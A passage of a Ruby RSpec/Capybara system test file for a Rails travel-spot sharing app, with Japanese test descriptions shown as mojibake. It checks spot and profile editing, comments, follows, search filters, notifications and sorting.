it 'ๅธๅบ็บๆ็ทจ้ใใฉใผใ ใซในใใใใฎๅธๅบ็บๆใ่กจ็คบใใใ' do
expect(page).to have_field 'spot[city]', with: spot.city
end
it '็ๅนดๆๆฅ็ทจ้ใใฉใผใ ใซในใใใใฎๆฅ่จชๆฅใ่กจ็คบใใใ' do
expect(page).to have_field 'spot[visited_day(1i)]', with: 2020
expect(page).to have_field 'spot[visited_day(2i)]', with: 1
expect(page).to have_field 'spot[visited_day(3i)]', with: 1
end
it '่ฉไพกใใฉใผใ ใ่กจ็คบใใใ' do
expect(find('input[@name="spot[rate]"]', visible: false).text).to be_blank
end
it '็ปๅ้ธๆใใฉใผใ ใ3ใค่กจ็คบใใใ' do
expect(page).to have_field 'spot[spot_image1]'
expect(page).to have_field 'spot[spot_image2]'
expect(page).to have_field 'spot[spot_image3]'
end
it 'ในใใใใฎ็ปๅใ่กจ็คบใใใ' do
expect(page).to have_selector("img[src$='spot_image1.jpeg']")
expect(page).to have_selector("img[src$='spot_image2.jpeg']")
expect(page).to have_selector("img[src$='spot_image3.jpeg']")
end
it 'ๅ
ๅฎนใปๆๆณ็ทจ้ใใฉใผใ ใซในใใใใฎๅ
ๅฎนใปๆๆณใ่กจ็คบใใใ' do
expect(page).to have_field 'spot[content]', with: spot.content
end
it 'ๆดๆฐใใฟใณใ่กจ็คบใใใ' do
expect(page).to have_button 'ๆดๆฐใใ'
end
end
context '็ทจ้ๆๅใฎใในใ' do
before do
@spot_old_title = spot.title
@spot_old_prefecture = spot.prefecture
@spot_old_city = spot.city
@spot_old_visited_day = spot.visited_day
@spot_old_rate = spot.rate
@spot_old_image1 = spot.spot_image1
@spot_old_image2 = spot.spot_image2
@spot_old_image3 = spot.spot_image3
fill_in 'spot[title]', with: Faker::Lorem.characters(number: 9)
select '็ฅๅฅๅท็', from: 'spot_prefecture'
fill_in 'spot[city]', with: Faker::Lorem.characters(number: 9)
select '2021', from: 'spot_visited_day_1i'
select '1', from: 'spot_visited_day_2i'
select '1', from: 'spot_visited_day_3i'
find('input[@name="spot[rate]"]', visible: false).set('4')
attach_file "spot[spot_image1]", "app/assets/images/image4.jpg"
attach_file "spot[spot_image2]", "app/assets/images/image5.jpg"
attach_file "spot[spot_image3]", "app/assets/images/image6.jpg"
fill_in 'spot[content]', with: Faker::Lorem.characters(number: 49)
click_button 'ๆดๆฐใใ'
end
it 'ใฟใคใใซใๆญฃใใๆดๆฐใใใ' do
expect(spot.reload.title).not_to eq @spot_old_title
end
it '้ฝ้ๅบ็ใๆญฃใใๆดๆฐใใใ' do
expect(spot.reload.prefecture).not_to eq @spot_old_prefecture
end
it 'ๅธๅบ็บๆใๆญฃใใๆดๆฐใใใ' do
expect(spot.reload.city).not_to eq @spot_old_city
end
it 'ๆฅ่จชๆฅใๆญฃใใๆดๆฐใใใ' do
expect(spot.reload.visited_day).not_to eq @spot_old_visited_day
end
it '่ฉไพกใๆญฃใใๆดๆฐใใใ' do
expect(spot.reload.rate).not_to eq @spot_old_rate
end
it 'ๅ็(1ๆ็ฎ)ใๆญฃใใๆดๆฐใใใ' do
expect(spot.reload.spot_image1).not_to eq @spot_old_image1
end
it 'ๅ็(2ๆ็ฎ)ใๆญฃใใๆดๆฐใใใ' do
expect(spot.reload.spot_image2).not_to eq @spot_old_image2
end
it 'ๅ็(3ๆ็ฎ)ใๆญฃใใๆดๆฐใใใ' do
expect(spot.reload.spot_image3).not_to eq @spot_old_image3
end
it 'ใชใใคใฌใฏใๅ
ใใๆดๆฐใใในใใใใฎ่ฉณ็ดฐ็ป้ขใซใชใฃใฆใใ' do
expect(current_path).to eq '/spots/' + spot.id.to_s
expect(page).to have_content "#{spot.reload.title}"
end
end
end
describe 'ใฆใผใถไธ่ฆง็ป้ขใฎใในใ' do
before do
visit users_path
end
context '่กจ็คบๅ
ๅฎนใฎ็ขบ่ช' do
it 'URLใๆญฃใใ' do
expect(current_path).to eq '/users'
end
it '่ชๅใจไปไบบใฎ็ปๅใ่กจ็คบใใใ' do
expect(all('img').size).to eq(2)
end
it '่ชๅใจไปไบบใฎๅๅใใใใใ่กจ็คบใใใ' do
expect(page).to have_content user.nickname
expect(page).to have_content other_user.nickname
end
it '่ชๅใจไปไบบใฎใฆใผใถใผ่ฉณ็ดฐใใผใธใธใฎใชใณใฏใใใใใ่กจ็คบใใใ' do
expect(page).to have_link "#{user.nickname}", href: user_path(user)
expect(page).to have_link "#{other_user.nickname}", href: user_path(other_user)
end
it '่ชๅใจไปไบบใฎๅนด้ฝขใใใใใ่กจ็คบใใใ' do
expect(page).to have_content user.nickname
expect(page).to have_content other_user.nickname
end
it '่ชๅใจไปไบบใฎๆงๅฅใใใใใ่กจ็คบใใใ' do
expect(page).to have_content user.sex
expect(page).to have_content other_user.sex
end
it '่ชๅใจไปไบบใฎไฝๆใใใใใ่กจ็คบใใใ' do
expect(page).to have_content user.prefecture
expect(page).to have_content user.city
expect(page).to have_content other_user.prefecture
expect(page).to have_content other_user.city
end
it '่ชๅใจไปไบบใฎ่ชๅทฑ็ดนไปใใใใใ่กจ็คบใใใ' do
expect(page).to have_content user.introduction
expect(page).to have_content other_user.introduction
end
end
context 'ๆค็ดขใจใชใขใฎ็ขบ่ช' do
it '้ฝ้ๅบ็ใใฉใผใ ใ่กจ็คบใใใฆใใ' do
expect(page).to have_field 'q[prefecture_eq]'
end
it 'ๅธๅบ็บๆใใฉใผใ ใ่กจ็คบใใใฆใใ' do
expect(page).to have_field 'q[city_cont]'
end
it 'ๆงๅฅใใฉใผใ ใ่กจ็คบใใใฆใใ' do
expect(page).to have_field 'q[sex_eq]'
end
it 'ๅนด้ฝขใใฉใผใ ใ่กจ็คบใใใฆใใ๏ผใๆญณไปฅไธใๆญณไปฅไธ' do
expect(page).to have_field 'q[birthday_to_age_gteq]'
expect(page).to have_field 'q[birthday_to_age_lt]'
end
it 'ใใใฏใใผใ ใใฉใผใ ใ่กจ็คบใใใฆใใ' do
expect(page).to have_field 'q[nickname_cont]'
end
it 'ๆค็ดขใใฟใณใ่กจ็คบใใใ' do
expect(page).to have_button 'ๆค็ดข'
end
end
end
describe '่ชๅใฎใฆใผใถ่ฉณ็ดฐ็ป้ขใฎใในใ' do
before do
visit user_path(user)
end
context '่กจ็คบใฎ็ขบ่ช' do
it 'ใใใคใใผใธใใจ่กจ็คบใใใฆใใ' do
expect(page).to have_content 'ใใคใใผใธ'
end
it '่ชๅใฎใใญใใฃใผใซ็ปๅใ่กจ็คบใใใ' do
expect(page).to have_selector("img[src$='profile_image.jpeg']")
end
it '่ชๅใฎใใใฏใใผใ ใ่กจ็คบใใใ' do
expect(page).to have_content user.nickname
end
it '่ชๅใฎๆงๅฅใ่กจ็คบใใใ' do
expect(page).to have_content user.sex
end
it '่ชๅใฎๅนด้ฝขใ่กจ็คบใใใ' do
expect(page).to have_content user.age
end
it '่ชๅใฎไฝๆใ่กจ็คบใใใ' do
expect(page).to have_content user.prefecture
expect(page).to have_content user.city
end
it '่ชๅใฎ่ชๅทฑ็ดนไปใ่กจ็คบใใใ' do
expect(page).to have_content user.introduction
end
it '่ชๅใฎใใฉใญใผๆฐใ่กจ็คบใใใ' do
expect(page).to have_content user.following.count
end
it '่ชๅใฎใใฉใญใฏใผๆฐใ่กจ็คบใใใ' do
expect(page).to have_content user.followers.count
end
it '่ชๅใฎในใใใๆฐใ่กจ็คบใใใ' do
expect(page).to have_content user.spots.count
end
it '่ชๅใฎ็ทใใใญๆฐใ่กจ็คบใใใ' do
@user = User.first
@all_user_spots = @user.spots
@all_user_favorites_count = 0
@all_user_spots.each do |spot|
@all_user_favorites_count += spot.favorites.count
end
expect(page).to have_content @all_user_favorites_count
end
it 'ใใใญใใฃใผใซ็ทจ้ใใฎใชใณใฏใๅญๅจใใ' do
expect(page).to have_link 'ใใญใใฃใผใซ็ทจ้', href: edit_user_path(user)
end
end
context 'ใตใคใใใผใฎ็ขบ่ช' do
it 'URLใๆญฃใใ' do
expect(current_path).to eq '/users/' + user.id.to_s
end
it 'ในใใใไธ่ฆงใซ่ชๅใฎในใใใใฎ็ปๅ(1ๆ็ฎ)ใ่กจ็คบใใใ' do
expect(page).to have_selector("img[src$='spot_image1.jpeg']")
end
it 'ในใใใไธ่ฆงใซ่ชๅใฎในใใใใฎใฟใคใใซใ่กจ็คบใใใใชใณใฏใๆญฃใใ' do
expect(page).to have_link spot.title, href: spot_path(spot)
end
it 'ในใใใไธ่ฆงใซ่ชๅใฎในใใใใฎๆๅจๅฐใ่กจ็คบใใใ' do
expect(page).to have_content spot.prefecture
expect(page).to have_content spot.city
end
it 'ในใใใไธ่ฆงใซ่ชๅใฎในใใใใฎๆ็จฟๆฅใ่กจ็คบใใใ' do
expect(page).to have_content spot.created_at.strftime("%Yๅนด%-mๆ%-dๆฅ")
end
it 'ในใใใไธ่ฆงใซ่ชๅใฎในใใใใฎๆฅ่จชๆฅใ่กจ็คบใใใ' do
expect(page).to have_content spot.visited_day.strftime("%Yๅนด%-mๆ%-dๆฅ")
end
it 'ในใใใใฎ่ฉไพกใ่กจ็คบใใใ', js: true do
expect(page).to have_content spot.rate
sleep 3
end
it '่ชๅใฎในใใใใฎใใใญใใฟใณใใใณใใใญๆฐใ่กจ็คบใใใ' do
expect(page).to have_link '', href: spot_favorites_path(spot)
expect(page).to have_content spot.favorites.count
end
it 'ไปไบบใฎในใใใใฎใฟใคใใซใฏ่กจ็คบใใใชใ' do
expect(page).not_to have_link other_spot.title, href: spot_path(other_spot)
end
end
end
describe '่ชๅใฎใฆใผใถๆ
ๅ ฑ็ทจ้็ป้ขใฎใในใ' do
before do
visit edit_user_path(user)
end
context '่กจ็คบใฎ็ขบ่ช' do
it 'URLใๆญฃใใ' do
expect(current_path).to eq '/users/' + user.id.to_s + '/edit'
end
it 'ๆฐๅ(ใใซใใผใ )็ทจ้ใใฉใผใ ใซ่ชๅใฎใใซใใผใ ใ่กจ็คบใใใ' do
expect(page).to have_field 'user[fullname]', with: user.fullname
end
it 'ใใใฏใใผใ ็ทจ้ใใฉใผใ ใซ่ชๅใฎใใใฏใใผใ ใ่กจ็คบใใใ' do
expect(page).to have_field 'user[nickname]', with: user.nickname
end
it 'ใกใผใซใขใใฌใน็ทจ้ใใฉใผใ ใซ่ชๅใฎใกใผใซใขใใฌในใ่กจ็คบใใใ' do
expect(page).to have_field 'user[email]', with: user.email
end
it 'ๆงๅฅ้ธๆใใฉใผใ ใง่ชๅใฎๆงๅฅใ้ธๆใใใฆใใ' do
expect(page).to have_checked_field 'edit_user_sex_male'
end
it '็ๅนดๆๆฅ็ทจ้ใใฉใผใ ใซ่ชๅใฎ็ๅนดๆๆฅใ่กจ็คบใใใ' do
expect(page).to have_field 'user[birthday(1i)]', with: 1990
expect(page).to have_field 'user[birthday(2i)]', with: 1
expect(page).to have_field 'user[birthday(3i)]', with: 1
end
it '้ฝ้ๅบ็้ธๆใใฉใผใ ใง่ชๅใฎ้ฝ้ๅบ็ใ้ธๆใใใฆใใ' do
expect(page).to have_select('้ฝ้ๅบ็', selected: 'ๆฑไบฌ้ฝ')
end
it 'ๅธๅบ็บๆ็ทจ้ใใฉใผใ ใซ่ชๅใฎๅธๅบ็บๆใ่กจ็คบใใใ' do
expect(page).to have_field 'user[city]', with: user.city
end
it '็ปๅ็ทจ้ใใฉใผใ ใ่กจ็คบใใใ' do
expect(page).to have_field 'user[profile_image]'
end
it '่ชๅทฑ็ดนไป็ทจ้ใใฉใผใ ใซ่ชๅใฎ่ชๅทฑ็ดนไปๆใ่กจ็คบใใใ' do
expect(page).to have_field 'user[introduction]', with: user.introduction
end
it 'ใๆดๆฐใใใใใฟใณใ่กจ็คบใใใ' do
expect(page).to have_button 'ๆดๆฐใใ'
end
end
context 'ๆดๆฐๆๅใฎใในใ' do
before do
@user_old_fullname = user.fullname
@user_old_nickname = user.nickname
@user_old_email = user.email
@user_old_sex = user.sex
@user_old_birthday = user.birthday
@user_old_prefecture = user.prefecture
@user_old_city = user.city
@user_old_profile_image = user.profile_image
@user_old_introduction = user.introduction
fill_in 'user[fullname]', with: Faker::Lorem.characters(number: 9)
fill_in 'user[nickname]', with: Faker::Lorem.characters(number: 9)
fill_in 'user[email]', with: Faker::Internet.email
choose('edit_user_sex_female')
select '2001', from: 'user_birthday_1i'
select '1', from: 'user_birthday_2i'
select '1', from: 'user_birthday_3i'
select '็ฅๅฅๅท็', from: 'user_prefecture'
fill_in 'user[city]', with: Faker::Lorem.characters(number: 6)
attach_file "user[profile_image]", "app/assets/images/image8.jpg"
fill_in 'user[introduction]', with: Faker::Lorem.characters(number: 19)
click_button 'ๆดๆฐใใ'
end
it 'ๆฐๅ(ใใซใใผใ )ใๆญฃใใๆดๆฐใใใ' do
expect(user.reload.fullname).not_to eq @user_old_fullname
end
it 'ใใใฏใใผใ ใๆญฃใใๆดๆฐใใใ' do
expect(user.reload.nickname).not_to eq @user_old_nickname
end
it 'ใกใผใซใขใใฌในใๆญฃใใๆดๆฐใใใ' do
expect(user.reload.email).not_to eq @user_old_email
end
it 'ๆงๅฅใๆญฃใใๆดๆฐใใใ' do
expect(user.reload.sex).not_to eq @user_old_sex
end
it '็ๅนดๆๆฅใๆญฃใใๆดๆฐใใใ' do
expect(user.reload.birthday).not_to eq @user_old_birthday
end
it 'ใกใผใซใขใใฌในใๆญฃใใๆดๆฐใใใ' do
expect(user.reload.email).not_to eq @user_old_email
end
it '้ฝ้ๅบ็ใๆญฃใใๆดๆฐใใใ' do
expect(user.reload.prefecture).not_to eq @user_old_prefecture
end
it 'ๅธๅบ็บๆใๆญฃใใๆดๆฐใใใ' do
expect(user.reload.city).not_to eq @user_old_city
end
it 'ใใญใใฃใผใซ็ปๅใๆญฃใใๆดๆฐใใใ' do
expect(user.reload.profile_image).not_to eq @user_old_profile_image
end
it '่ชๅทฑ็ดนไปใๆญฃใใๆดๆฐใใใ' do
expect(user.reload.introduction).not_to eq @user_old_introduction
end
it 'ใชใใคใฌใฏใๅ
ใใ่ชๅใฎใฆใผใถ่ฉณ็ดฐ็ป้ขใซใชใฃใฆใใ' do
expect(current_path).to eq '/users/' + user.id.to_s
end
end
end
describe 'ใณใกใณใๆฉ่ฝใฎใในใ' do
let!(:other_user2) { create(:user) }
let!(:other_spot2) { create(:spot, user: other_user2) }
let!(:comment) { create(:comment, user: user, spot: other_spot2) }
let!(:other_comment) { create(:comment, user: other_user, spot: other_spot2) }
before do
visit spot_path(other_spot2)
end
context '่กจ็คบใฎ็ขบ่ช' do
it '่ชๅใจไปไบบใฎใใใฏใใผใ ใฎใชใณใฏใ่กจ็คบใใใใชใณใฏๅ
ใๆญฃใใ' do
expect(page).to have_link user.nickname, href: user_path(user)
expect(page).to have_link other_user.nickname, href: user_path(other_user)
end
it '่ชๅใจไปไบบใฎใณใกใณใใฎๅ
ๅฎนใ่กจ็คบใใใ' do
expect(page).to have_content comment.comment
expect(page).to have_content other_comment.comment
end
it '่ชๅใจไปไบบใฎใณใกใณใใฎ้ไฟกๆฅๆใ่กจ็คบใใใ' do
expect(page).to have_content comment.created_at.strftime("%Yๅนด%-mๆ%-dๆฅ %-H:%M")
expect(page).to have_content other_comment.created_at.strftime("%Yๅนด%-mๆ%-dๆฅ %-H:%M")
end
it '่ชๅใฎใณใกใณใใฎๅ้คใชใณใฏใ่กจ็คบใใใ' do
expect(page).to have_link 'delete-' + comment.id.to_s + '-btn'
end
it 'ไปไบบใฎใณใกใณใใฎๅ้คใชใณใฏใฏ่กจ็คบใใใชใ' do
expect(page).not_to have_link 'delete-' + other_comment.id.to_s + '-btn'
end
end
context 'ๆฐ่ฆใณใกใณใ้ไฟกใฎใในใ' do
before do
fill_in 'comment[comment]', with: Faker::Lorem.characters(number: 50)
end
it 'ๆญฃใใ้ไฟกใใใ', js: true do
expect { click_button '้ไฟกใใ'
sleep 1}.to change { user.comments.count }.by(1)
end
it '้ท็งปๅ
ใใในใใใ่ฉณ็ดฐใซใชใฃใฆใใ', js: true do
expect(current_path).to eq '/spots/' + other_spot2.id.to_s
end
end
context 'ๅ้คใฎใในใ' do
it 'ๆญฃใใๅ้คใใใ', js: true do
expect { click_link 'delete-' + comment.id.to_s + '-btn'
sleep 1}.to change { user.comments.count }.by(-1)
end
it '้ท็งปๅ
ใใใใคใใผใธ็ป้ขใซใชใฃใฆใใ', js: true do
expect(current_path).to eq '/spots/' + other_spot2.id.to_s
end
end
end
describe 'ใใฉใญใผๆฉ่ฝใฎใในใ' do
context 'ใใฉใญใผใปใใฉใญใฏใผไธ่ฆงใฎใใผใธใฎใในใ' do
let!(:other_user2) { create(:user) }
before do
user.follow(other_user)
user.follow(other_user2)
other_user.follow(user)
end
it 'ใใฉใญใผไธ่ฆงใใ(่ชๅใฎใใใฏใใผใ )ใใใฎใใฉใญใผไธ่ฆงใใจ่กจ็คบใใใฆใใใ' do
visit following_user_path(user)
expect(page).to have_content "#{user.nickname}ใใใฎใใฉใญใผไธ่ฆง"
end
it 'ใใฉใญใผไธ่ฆงใ่ชๅใใใฉใญใผใใฆใใใฆใผใถใผใฎๆ
ๅ ฑใ่กจ็คบใใใฆใใใ' do
visit following_user_path(user)
expect(page).to have_selector("img[src$='profile_image.jpeg']")
expect(page).to have_content other_user.nickname
expect(page).to have_content other_user.following.count
expect(page).to have_content other_user.followers.count
expect(page).to have_content other_user.spots.last.updated_at.strftime("%Yๅนด%-mๆ%-dๆฅ")
end
it 'ใใฉใญใฏใผไธ่ฆงใใ(่ชๅใฎใใใฏใใผใ )ใใใฎใใฉใญใฏใผไธ่ฆงใใจ่กจ็คบใใใฆใใใ' do
visit followers_user_path(user)
expect(page).to have_content "#{user.nickname}ใใใฎใใฉใญใฏใผไธ่ฆง"
end
it 'ใใฉใญใฏใผไธ่ฆงใ่ชๅใใใฉใญใผใใฆใใใฆใผใถใผใฎๆ
ๅ ฑใ่กจ็คบใใใฆใใใ' do
visit followers_user_path(user)
expect(page).to have_selector("img[src$='profile_image.jpeg']")
expect(page).to have_content other_user.nickname
expect(page).to have_content other_user.following.count
expect(page).to have_content other_user.followers.count
expect(page).to have_content other_user.spots.last.updated_at.strftime("%Yๅนด%-mๆ%-dๆฅ")
end
it 'ไธๅบฆใๆ็จฟใใฆใใชใใฆใผใถใผใฎๅ ดๅใใๆ็จฟใชใใใ่กจ็คบใใใฆใใใ' do
visit following_user_path(user)
expect(page).to have_content 'ๆ็จฟใชใ'
end
end
context 'ใใฉใญใผไธ่ฆงใฎใใผใธใฎใในใ(่ฟฝๅ )' do
let!(:other_user2) { create(:user) }
before do
user.follow(other_user2)
visit following_user_path(user)
end
it 'ไธๅบฆใๆ็จฟใใฆใใชใใฆใผใถใผใฎๅ ดๅใใๆ็จฟใชใใใ่กจ็คบใใใฆใใใ' do
expect(page).to have_content 'ๆ็จฟใชใ'
end
end
context 'ใใฉใญใผใปใใฉใญใผ่งฃ้คใฎใในใ' do
before do
visit user_path(other_user)
end
it 'ใใฉใญใผใใ๏ผใใฉใญใผๆฐใ1ใจใชใใใใฟใณใใใใฉใญใผ่งฃ้คใใซๅคๅใใ', js: true do
click_button 'ใใฉใญใผใใ'
sleep 1
expect(other_user.followers.count).to eq 1
expect(page).to have_button 'ใใฉใญใผ่งฃ้ค'
end
it 'ใใฉใญใผ่งฃ้คใใ๏ผใใฉใญใผๆฐใ0ใจใชใใใใฟใณใใใใฉใญใผใใใใซๅคๅใใ', js: true do
click_button 'ใใฉใญใผใใ'
sleep 1
click_button 'ใใฉใญใผ่งฃ้ค'
sleep 1
expect(other_user.followers.count).to eq 0
expect(page).to have_button 'ใใฉใญใผใใ'
end
end
end
describe 'ๆค็ดขๆฉ่ฝใฎใในใ' do
let!(:search_user) { create(:search_user) }
let!(:search_user2) { create(:search_user2) }
let!(:search_spot) { create(:search_spot, user: user) }
let!(:search_spot2) { create(:search_spot2, user: user) }
context 'ๆค็ดขๆฉ่ฝใฎใในใ(ในใใใไธ่ฆง็ป้ข)' do
# ใใฉใผใ ใฎ่กจ็คบใฏใในใๆธ
before do
visit spots_path
end
it '้ฝ้ๅบ็ใงใฎๆค็ดข๏ผๆกไปถใซๅ่ดใใใใฎใ ใใ่กจ็คบใใใใ' do
select 'ๅ่็', from: 'q_prefecture_eq'
click_button 'ๆค็ดข'
expect(page).to have_content 'ใใฃใบใใผใฉใณใ'
expect(page).not_to have_content '็จฒ่ทๅฑฑๅคๅขณ'
end
it 'ๅธๅบ็บๆใงใฎๆค็ดข๏ผๆกไปถใซๅ่ดใใใใฎใ ใใ่กจ็คบใใใใ' do
fill_in 'q[city_cont]', with: '่ก็ฐ'
click_button 'ๆค็ดข'
expect(page).not_to have_content 'ใใฃใบใใผใฉใณใ'
expect(page).to have_content '็จฒ่ทๅฑฑๅคๅขณ'
end
it 'ใฟใคใใซใงใฎๆค็ดข๏ผๆกไปถใซๅ่ดใใใใฎใ ใใ่กจ็คบใใใใ' do
fill_in 'q[title_cont]', with: 'ใใฃใบใใผ'
click_button 'ๆค็ดข'
expect(page).to have_content 'ใใฃใบใใผใฉใณใ'
expect(page).not_to have_content '็จฒ่ทๅฑฑๅคๅขณ'
end
end
context 'ๆค็ดขๆฉ่ฝใฎใในใ(ใฆใผใถใผไธ่ฆง็ป้ข)' do
# ใใฉใผใ ใฎ่กจ็คบใฏใในใๆธ
before do
visit users_path
end
it '้ฝ้ๅบ็ใงใฎๆค็ดข๏ผๆกไปถใซๅ่ดใใใใฎใ ใใ่กจ็คบใใใใ' do
select 'ๅ่็', from: 'q_prefecture_eq'
click_button 'ๆค็ดข'
expect(page).to have_content 'ใใใณ'
expect(page).not_to have_content 'ใฟใญใผ'
end
it 'ๅธๅบ็บๆใงใฎๆค็ดข๏ผๆกไปถใซๅ่ดใใใใฎใ ใใ่กจ็คบใใใใ' do
fill_in 'q[city_cont]', with: 'ๆๆฒข'
click_button 'ๆค็ดข'
expect(page).not_to have_content 'ใใใณ'
expect(page).to have_content 'ใฟใญใผ'
end
it 'ๆงๅฅใงใฎๆค็ดข๏ผๆกไปถใซๅ่ดใใใใฎใ ใใ่กจ็คบใใใใ' do
choose('q_sex_eq_1') # ๅฅณๆง
click_button 'ๆค็ดข'
expect(page).to have_content 'ใใใณ'
expect(page).not_to have_content 'ใฟใญใผ'
end
it 'ๅนด้ฝขใงใฎๆค็ดข๏ผๆค็ดข็ตๆใซๅ่ดใใใใฎใ ใใ่กจ็คบใใใใ' do
fill_in 'q[birthday_to_age_gteq]', with: '30'
fill_in 'q[birthday_to_age_lt]', with: '40'
click_button 'ๆค็ดข'
expect(page).to have_content 'ใใใณ'
expect(page).not_to have_content 'ใฟใญใผ'
end
it 'ใใใฏใใผใ ใงใฎๆค็ดข๏ผๆค็ดข็ตๆใซๅ่ดใใใใฎใ ใใ่กจ็คบใใใใ' do
fill_in 'q[nickname_cont]', with: 'ใฟใญ'
click_button 'ๆค็ดข'
expect(page).not_to have_content 'ใใใณ'
expect(page).to have_content 'ใฟใญใผ'
end
end
context 'ๆค็ดขๆฉ่ฝใฎใในใ(ใญใผใฏใผใไธ่ฆง็ป้ข)' do
before do
visit edit_spot_path(search_spot)
fill_in 'spot[keyword]', with: 'ๅคขใฎๅฝ ใใใญใผ'
find('input[@name="spot[rate]"]', visible: false).set('4')
click_button 'ๆดๆฐใใ'
visit edit_spot_path(search_spot2)
fill_in 'spot[keyword]', with: 'ๅๆนๅพๅๅขณ ้ๅฃ'
find('input[@name="spot[rate]"]', visible: false).set('4')
click_button 'ๆดๆฐใใ'
visit keywords_path
end
it '้ฝ้ๅบ็ใงใฎๆค็ดข๏ผๆกไปถใซๅ่ดใใใใฎใ ใใ่กจ็คบใใใใ' do
select 'ๅ่็', from: 'q_spots_prefecture_eq'
click_button 'ๆค็ดข'
expect(page).to have_content 'ๅคขใฎๅฝ'
expect(page).to have_content 'ใใใญใผ'
expect(page).not_to have_content 'ๅๆนๅพๅๅขณ'
expect(page).not_to have_content '้ๅฃ'
end
it 'ๅธๅบ็บๆใงใฎๆค็ดข๏ผๆกไปถใซๅ่ดใใใใฎใ ใใ่กจ็คบใใใใ' do
fill_in 'q[spots_city_cont]', with: '่ก็ฐ'
click_button 'ๆค็ดข'
expect(page).not_to have_content 'ๅคขใฎๅฝ'
expect(page).not_to have_content 'ใใใญใผ'
expect(page).to have_content 'ๅๆนๅพๅๅขณ'
expect(page).to have_content '้ๅฃ'
end
it 'ใญใผใฏใผใใงใฎๆค็ดข๏ผๆกไปถใซๅ่ดใใใใฎใ ใใ่กจ็คบใใใใ' do
fill_in 'q[keyword_cont]', with: 'ๅ'
click_button 'ๆค็ดข'
expect(page).not_to have_content 'ๅคขใฎๅฝ'
expect(page).not_to have_content 'ใใใญใผ'
expect(page).to have_content 'ๅๆนๅพๅๅขณ'
expect(page).not_to have_content '้ๅฃ'
end
end
end
describe '้็ฅๆฉ่ฝใฎใในใ' do
context 'ใใใญใปใณใกใณใ้็ฅใฎใในใ' do
before do
visit spot_path(other_spot)
end
it 'ไปไบบใใใใญใใ้็ฅใ่กจ็คบใใใใ๏ผไปไบบใฎใใใฏใใผใ ใจใใใชใใฎๆ็จฟใใฎใชใณใฏๅ
ใๆญฃใใใ', js: true do
find("#like-#{ other_spot.id }").click
sleep 1
find(".navbar-toggler").click
click_link 'ใญใฐใขใฆใ'
visit new_user_session_path
fill_in 'user[email]', with: other_user.email
fill_in 'user[password]', with: other_user.password
click_button 'ใญใฐใคใณ'
find(".navbar-toggler").click
click_link '้็ฅ'
expect(page).to have_content "#{ user.nickname }ใใใชใใฎๆ็จฟใซใใใญใใพใใ"
expect(page).to have_link user.nickname, href: user_path(user)
expect(page).to have_link 'ใใชใใฎๆ็จฟ', href: spot_path(other_spot)
end
it 'ไปไบบใใณใกใณใใใ้็ฅใ่กจ็คบใใใใ๏ผไปไบบใฎใใใฏใใผใ ใจใใใชใใฎๆ็จฟใใฎใชใณใฏๅ
ใๆญฃใใใ', js: true do
fill_in 'comment[comment]', with: Faker::Lorem.characters(number: 50)
click_button '้ไฟกใใ'
sleep 1
find(".navbar-toggler").click
click_link 'ใญใฐใขใฆใ'
visit new_user_session_path
fill_in 'user[email]', with: other_user.email
fill_in 'user[password]', with: other_user.password
click_button 'ใญใฐใคใณ'
find(".navbar-toggler").click
click_link '้็ฅ'
expect(page).to have_content "#{ user.nickname }ใใใชใใฎๆ็จฟใซใณใกใณใใใพใใ"
expect(page).to have_link user.nickname, href: user_path(user)
expect(page).to have_link 'ใใชใใฎๆ็จฟ', href: spot_path(other_spot)
end
end
context 'ใใฉใญใผใ้็ฅ่กจ็คบใ้็ฅๅ้คใฎใในใ' do
before do
visit user_path(other_user)
end
it 'ไปไบบใใใฉใญใผใใ้็ฅใ่กจ็คบใใใใ:ใๆช็ขบ่ชใฎ้็ฅใใใใพใใใใฏ่กจ็คบใใใชใ', js: true do
click_button 'ใใฉใญใผใใ'
sleep 1
find(".navbar-toggler").click
click_link 'ใญใฐใขใฆใ'
visit new_user_session_path
fill_in 'user[email]', with: other_user.email
fill_in 'user[password]', with: other_user.password
click_button 'ใญใฐใคใณ'
find(".navbar-toggler").click
click_link '้็ฅ'
expect(page).to have_content "#{ user.nickname }ใใใชใใใใฉใญใผใใพใใ"
expect(page).to have_link user.nickname, href: user_path(user)
expect(page).not_to have_content "ๆช็ขบ่ชใฎ้็ฅใใใใพใใ"
end
it 'ๆช่ชญใฎ้็ฅใใใๅ ดๅใใๆช็ขบ่ชใฎ้็ฅใใใใพใใใใจ่กจ็คบใใใใ', js: true do
click_button 'ใใฉใญใผใใ'
sleep 1
find(".navbar-toggler").click
click_link 'ใญใฐใขใฆใ'
visit new_user_session_path
fill_in 'user[email]', with: other_user.email
fill_in 'user[password]', with: other_user.password
click_button 'ใญใฐใคใณ'
expect(page).to have_content "ๆช็ขบ่ชใฎ้็ฅใใใใพใใ"
end
it 'ใๅ
จใฆๅ้คใใใใๆผใใจ้็ฅใๆถๅปใใใใ้็ฅใฏใใใพใใใใจ่กจ็คบใใใใ', js: true do
click_button 'ใใฉใญใผใใ'
sleep 1
find(".navbar-toggler").click
click_link 'ใญใฐใขใฆใ'
visit new_user_session_path
fill_in 'user[email]', with: other_user.email
fill_in 'user[password]', with: other_user.password
click_button 'ใญใฐใคใณ'
find(".navbar-toggler").click
click_link '้็ฅ'
click_link 'ๅ
จใฆๅ้คใใ'
expect(page).not_to have_content "#{ user.nickname }ใใใชใใใใฉใญใผใใพใใ"
expect(page).to have_content "้็ฅใฏใใใพใใ"
end
end
end
end
describe '[STEP2] ใฆใผใถใญใฐใคใณๅพใฎใในใ ใฝใผใๆฉ่ฝใฎใในใ' do
let(:search_user) { create(:search_user) }
let!(:search_user2) { create(:search_user2) }
let!(:search_spot) { create(:search_spot, user: search_user) }
let!(:search_spot2) { create(:search_spot2, user: search_user) }
let!(:favorite) { create(:favorite, user: search_user, spot: search_spot) }
before do
visit new_user_session_path
fill_in 'user[email]', with: search_user.email
fill_in 'user[password]', with: search_user.password
click_button 'ใญใฐใคใณ'
end
context 'ใฝใผใๆฉ่ฝใฎใในใ(ใฆใผใถใผ่ฉณ็ดฐ็ป้ข)' do
before do
visit user_path(search_user)
end
it 'ใฟใคใใซใฎใฝใผใ๏ผๆญฃใใ่กจ็คบใใใใ' do
click_link 'ใฟใคใใซ' # ๆ้
first_spot_link = find_all('a')[19].native.inner_text
expect(first_spot_link).to match('ใใฃใบใใผใฉใณใ')
click_link 'ใฟใคใใซ' # ้้
first_spot_link = find_all('a')[19].native.inner_text
expect(first_spot_link).to match('็จฒ่ทๅฑฑๅคๅขณ')
end
it 'ๆๅจๅฐใฎใฝใผใ๏ผๆญฃใใ่กจ็คบใใใใ' do
click_link 'ๆๅจๅฐ' # ๆ้
